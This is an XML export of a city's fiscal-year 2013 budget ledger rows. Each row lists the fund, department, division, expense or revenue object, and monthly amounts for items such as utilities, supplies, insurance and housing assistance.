<row _id="3046"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUST SUPPLIES-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5500.0</total></row>
<row _id="3047"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50.0</total></row>
<row _id="3048"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12486.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12486.0</total></row>
<row _id="3049"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10100.0</total></row>
<row _id="3050"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2845.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2845.0</total></row>
<row _id="3051"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522115.0</object><object_description>UTIL - LIGHT/POWER - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>396375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>396375.0</total></row>
<row _id="3052"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522125.0</object><object_description>UTIL - NATURAL GAS - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18000.0</total></row>
<row _id="3053"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522129.0</object><object_description>UTIL-GAS-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="3054"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522129.0</object><object_description>UTIL-GAS-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>65000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="3055"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522135.0</object><object_description>UTILITIES - WATER - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>47940.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>47940.0</total></row>
<row _id="3056"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>57120.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>57120.0</total></row>
<row _id="3057"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>21517.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21517.0</total></row>
<row _id="3058"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533219.0</object><object_description>BLDG OPER/SUPPLIES-COM FAC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>151000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>151000.0</total></row>
<row _id="3059"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUSTODIAL SUPP-TRIMANA</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3600.0</total></row>
<row _id="3060"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>205368.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>205368.0</total></row>
<row _id="3061"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-1730 4TH ST</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20646.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20646.0</total></row>
<row _id="3062"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="3063"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5214.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
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<row _id="3066"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>313.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
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<row _id="3068"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>209.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="3069"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4408.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4408.0</total></row>
<row _id="3070"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>199267.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>199267.0</total></row>
<row _id="3071"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>259196.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>259196.0</total></row>
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<row _id="3074"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408290.0</object><object_description>FIRE SAFETY OFFICER ASSIGN FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-408000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-408000.0</total></row>
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<row _id="3076"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>408310.0</object><object_description>CALEMA HAZARD MIT PLANNIN GRT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-18750.0</march><april>0</april><may>0</may><june>0.0</june><total>-18750.0</total></row>
<row _id="3077"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>570050.0</object><object_description>CALEMA HAZARD MIT PLANNIN GRT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>12500.0</march><april>0</april><may>0</may><june>0.0</june><total>12500.0</total></row>
<row _id="3078"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3803.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>455</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4258.0</total></row>
<row _id="3079"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>34835.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4167</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39002.0</total></row>
<row _id="3080"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-1367.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1367.0</total></row>
<row _id="3081"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>404330.0</object><object_description>KEN EDWARDS CENTER PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>100000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3082"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579000.0</object><object_description>COUNCIL DISCRETIONARY FUNDS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>23312.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>13312</april><may>0</may><june>0.0</june><total>36624.0</total></row>
<row _id="3083"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3600.0</total></row>
<row _id="3084"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>715.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>715.0</total></row>
<row _id="3085"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6440.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6440.0</total></row>
<row _id="3086"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1870.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1870.0</total></row>
<row _id="3087"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2760.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2760.0</total></row>
<row _id="3088"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9996.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9996.0</total></row>
<row _id="3089"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3572.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>36</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3608.0</total></row>
<row _id="3090"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1183.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>12</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1195.0</total></row>
<row _id="3091"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>209.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="3092"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>1000</may><june>0.0</june><total>1000.0</total></row>
<row _id="3093"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>218288.0</july><august>0</august><september>0.0</september><october>-15000.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>-11100</may><june>0.0</june><total>192188.0</total></row>
<row _id="3094"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7670.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7670.0</total></row>
<row _id="3095"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571110.0</object><object_description>S+C HAP SUO2</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>67092.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-2852</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>64240.0</total></row>
<row _id="3096"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571140.0</object><object_description>S+C HAP EXPANSION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>245292.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-31248</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>214044.0</total></row>
<row _id="3097"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577260.0</object><object_description>SENIOR HOUSING VOUCHER PRG</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>450000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>450000.0</total></row>
<row _id="3098"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-17249.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>17249</april><may>0</may><june>0.0</june><total>0.0</total></row>
